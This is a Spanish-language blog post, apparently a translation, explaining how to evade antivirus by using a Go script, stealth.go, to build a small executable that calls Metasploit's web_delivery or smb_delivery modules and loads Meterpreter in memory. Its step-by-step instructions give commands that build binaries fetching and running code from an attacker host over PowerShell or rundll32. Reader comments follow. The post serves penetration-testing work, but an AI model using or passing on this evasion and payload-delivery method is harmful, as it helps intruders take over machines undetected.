Evadiendo el AV con Golang

Metasploit tiene dos excelentes módulos diseñados para actualizar una simple shell a Meterpreter mediante una llamada a un servidor Web o servidor SMB. El primer módulo es exploit/multi/script/web_delivery y el otro es exploit/windows/smb/smb_delivery.  Utilizando estos módulos se puede ejecutar un comando Powershell, PHP, Python o Rundll para actualizar el shell existente a meterpreter.

Pero, ¿qué sucede si no tenemos previamente una shell y sólo podemos llamar a un ejecutable?. Podríamos crear un meterpreter u otro payload pero al subirlo y escribirlo en disco es muy probable que el antivirus lo detecte. Pero, ¿y si creamos un ejecutable muy simple que sólo haga la llamada necesaria a web_delivery o smb_delivery y luego cargue meterpreter en memoria? Este ejecutable probablemente no será detectado por el AV...

El script stealth.go hace exactamente eso. Toma unos pocos parámetros, el tipo de payload deseado, el servidor Metasploit y el puerto, y un nombre de carpeta y crea un pequeño ejecutable de Golang que hace la llamada apropiada a Metasploit.

Para usar el script necesitaremos una versión reciente de Golang y seguir unos sencillos pasos:

1.- Configura el módulo Metasploit web_delivery o smb_delivery según lo deseado. Ten en cuenta que para el módulo web_delivery se necesita establecer el parámetro URIPATH y en el módulo smb_delivery se debe establecer el parámetro SHARE y dejar sin configurar el parámetro FOLDER_NAME.

2.- Ejecuta el módulo stealth.go para crear un binario llamado shell (* nix) o shell.exe (Windows):

    go run stealth.go ps 10.10.10.1 8080 test

Esto construirá un ejecutable que hará una llamada de Powershell para descargar y ejecutar código desde http://10.10.10.1:8080/test.

  go run stealth.go smb 10.10.10.1 445 test

Y esto construirá un ejecutable que hará una llamada rundll32 a \\10.10.10.1\test y ejecutará el payload entregado.

3.- Ejecuta shell o shell.exe y comprueba en Metasploit si tenemos la sesión Meterpreter.

El código stealth.go se puede encontrar en Github:  https://github.com/averagesecurityguy/scripts/blob/master/stealth.go

Fuente: Bypassing AntiVirus with Golang

2 comentarios :

  1. Hola, cuando ejecuto el comando en windows:
    go run stealth.go ps 192.168.0.31 8080 test
    me sale este error:
    # command-line-arguments
    .\stealth.go:24: out declared and not used
    por qué pasa esto :(?

    ResponderEliminar
  2. Este comentario ha sido eliminado por el autor.

    ResponderEliminar